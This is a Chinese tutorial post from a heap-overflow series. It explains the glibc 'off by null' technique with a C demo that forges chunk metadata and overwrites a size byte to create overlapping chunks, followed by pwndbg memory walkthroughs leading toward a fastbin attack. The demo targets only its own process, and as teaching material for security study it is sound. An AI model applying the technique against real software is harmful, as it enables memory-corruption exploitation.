欢迎光临散文网 会员登陆 & 注册

二进制安全之堆溢出(系列)—— off by null

2020-03-31 15:32 作者:汇智知了堂  | 我要投稿

本文是二进制安全之堆溢出系列的第七章节,主要介绍off by null。

原理


思路


通过修改chunk的prev_inuse位,达到一个堆块重叠的作用


流程


修改下一个堆块B的size的最后一字节为0,即prev_inuse置0,size随之减小,逻辑上分为0×100的B1+0×20的B2

在B2伪造一个chunk,其prev_inuse改为1,用以防止B和A发生前向合并,并在后面malloc fire时越过一些检查

free B ,将B1放入unsorted bins

将B1一分为二,如 q1 和 q2,(q2作为我们的堆块重叠目标块,用以fastbin attack)

free q1 和C,就会和前面的整个B的块大合并,q2 逻辑上也会随之进入unsorted bin

此时注意,q2 任然是我们可控的,现在malloc一个堆块fire将unsorted bin的内容全部取出

free q2,q2进入fastbin

通过堆块fire修改q2的fd,make fastbin attack


前提


分配的堆块要0xnn8的大小,需要包含下一个堆块的prev_size位

需要覆盖的块,大小一定要超过0×100,否则会被覆盖为0

off by null的攻击块一定是free之后的堆块,在free之前覆盖会造成段错误(一种可能)

Demo


#include <stdio.h>

#include <malloc.h>

#include <unistd.h>

#include <string.h>

int main(){

    char *p = malloc(0x18);

    char *q = malloc(0x110-8);

    char *r = malloc(0x110-8);

    printf("p = %p\n",p);

    printf("q = %p\n",q);

    printf("r = %p\n",r);

    sleep(0);

    *(long*) (r-0x20) =  0x100; //fake->prev_size

    *(long*) (r-0x18) =  0x101; //fake->size

    sleep(0);

    free(q);

    sleep(0);

    strcpy(p,"aaaaaaaajunkjunkbbbbbbbb"); // size->inuse=0 size=0x100

    sleep(0);

    char *q1 = malloc(0x80);    //B1

    char *q2 = malloc(0x60);    //B2

    printf("q1 = %p\n",q1); 

    printf("q2 = %p\n",q2);

    sleep(0);

    free(q1);

    free(r);

    sleep(0);

    char *q12 = malloc(0x100 + 0x100 + 0x10);

    printf("q2 = %p\n",q2);

    printf("q12 = %p\n",q12);

    sleep(0);

    return 0;

}


调试


初始堆块

0x602000 FASTBIN {

prev_size = 0, 

size = 33, 

fd = 0x0,                   //p = 0x602010

bk = 0x0, 

fd_nextsize = 0x0, 

bk_nextsize = 0x111

}

0x602020 PREV_INUSE {

prev_size = 0, 

size = 273, 

fd = 0x0,                 //q = 0x602030

bk = 0x0, 

fd_nextsize = 0x0, 

bk_nextsize = 0x0

}

0x602130 PREV_INUSE {

prev_size = 0, 

size = 273,                 //此时inuse=1

fd = 0x0,                   //r = 0x602140

bk = 0x0, 

fd_nextsize = 0x0, 

bk_nextsize = 0x0

}

0x602000:   0x0000000000000000  0x0000000000000021

0x602010:   0x0000000000000000  0x0000000000000000

0x602020:   0x0000000000000000  0x0000000000000111      //此时q的size

0x602130:0x00000000000000000x0000000000000111 # 此时r的prev_inuse为1


改变 q 的size


pwndbg> x/20gz 0x602000

0x602000:   0x0000000000000000  0x0000000000000021

0x602010:   0x6161616161616161  0x6b6e756a6b6e756a

0x602020:   0x6262626262626262  0x0000000000000100  //成功改小B的size位

0x602030:   0x00007ffff7dd1b78  0x00007ffff7dd1b78


伪造B2堆块


0x602120:   0x0000000000000100  0x0000000000000101  //成功伪造fake堆块,对应改小的size

0x602130:   0x0000000000000110  0x0000000000000111  //在后面free q之后,inuse变为0

0x602140:   0x0000000000000000  0x0000000000000000


此时的bins


unsortedbin

all: 0x602020 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602020 /* '  `' */  // q 

smallbins


free q


0x602110:   0x0000000000000000  0x0000000000000000

0x602120:   0x0000000000000100  0x0000000000000101

0x602130:   0x0000000000000110  0x0000000000000110 //free q之后,inuse变为0


将 q 一分为二


0x602020 PREV_INUSE {

prev_size = 7089336938131513954, 

size = 145, 

fd = 0x7ffff7dd1c68 <main_arena+328>, 

bk = 0x7ffff7dd1c68 <main_arena+328>, 

fd_nextsize = 0x0, 

bk_nextsize = 0x0

}

0x6020b0 FASTBIN {

prev_size = 0, 

size = 113, 

fd = 0x7ffff7dd1b78 <main_arena+88>, 

bk = 0x7ffff7dd1b78 <main_arena+88>, 

fd_nextsize = 0x0, 

bk_nextsize = 0x0

}

0x602020:0x62626262626262620x0000000000000091//q1

0x602030:0x00007ffff7dd1c680x00007ffff7dd1c68

0x602040:0x00000000000000000x0000000000000000

0x602050:0x00000000000000000x0000000000000000

0x602060:0x00000000000000000x0000000000000000

0x602070:0x00000000000000000x0000000000000000

0x602080:0x00000000000000000x0000000000000000

0x602090:0x00000000000000000x0000000000000000

0x6020a0:0x00000000000000000x0000000000000000

0x6020b0:0x00000000000000000x0000000000000071 //q2

0x6020c0:0x00007ffff7dd1b780x00007ffff7dd1b78

0x6020d0:0x00000000000000000x0000000000000000

0x6020e0:0x00000000000000000x0000000000000000

0x6020f0:0x00000000000000000x0000000000000000

0x602100:0x00000000000000000x0000000000000000

0x602110:0x00000000000000000x0000000000000000

0x602120:0x00000000000000700x0000000000000101//fake

0x602130:0x00000000000001100x0000000000000110//r

unsorted bin 此时已经清空


free q r 引发大合并


0x602020 PREV_INUSE {

prev_size = 7089336938131513954, 

size = 545, ==>q和r已经合并

fd = 0x7ffff7dd1b78 <main_arena+88>, 

bk = 0x7ffff7dd1b78 <main_arena+88>, 

fd_nextsize = 0x0, 

bk_nextsize = 0x0

}

0x602020:0x62626262626262620x0000000000000221-->q,r合并

0x602030:0x00007ffff7dd1b780x00007ffff7dd1b78

0x602040:0x00000000000000000x0000000000000000

0x602050:0x00000000000000000x0000000000000000

0x602060:0x00000000000000000x0000000000000000

0x602070:0x00000000000000000x0000000000000000

0x602080:0x00000000000000000x0000000000000000

0x602090:0x00000000000000000x0000000000000000

0x6020a0:0x00000000000000000x0000000000000000

0x6020b0:0x00000000000000900x0000000000000070-->此时q2的pre_inuse为0

0x6020c0:0x00007ffff7dd1b780x00007ffff7dd1b78

0x6020d0:0x00000000000000000x0000000000000000

0x6020e0:0x00000000000000000x0000000000000000

0x6020f0:0x00000000000000000x0000000000000000

0x602100:0x00000000000000000x0000000000000000

0x602110:0x00000000000000000x0000000000000000

0x602120:0x00000000000000700x0000000000000101

0x602130:0x00000000000001100x0000000000000110

此时的bins

unsortedbin

all: 0x602020 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602020 /* '  `' */

smallbins


malloc q12

malloc q12


此时将合并的q和r的内存全部malloc出去

q2 = 0x6020c0//此时q2包含在q12之中,却能够被修改

q12 = 0x602030

之后再将q2释放到fastbin,构造fastbin attack


总结


fake堆块的作用:

fake堆块的prev_inuse被我们修改为1,因此在free q的时候会和p做前向合并

free q 之后再修改size,这时r记录的prev_size为整个q堆块,free q1 和 r时就会大合并

大合并的内容为unsorted bin里面的q1和r,但是q2和fake也进入了合并的范畴,但是此时依然可以使用q2和fake

malloc q12可以将整个大合并的内存全部取出,这时 free q2 ,进入fastbin,我们仍然可以通过q12 修改q2的


二进制安全之堆溢出(系列)—— off by null的评论 (共 条)

分享到微博请遵守国家法律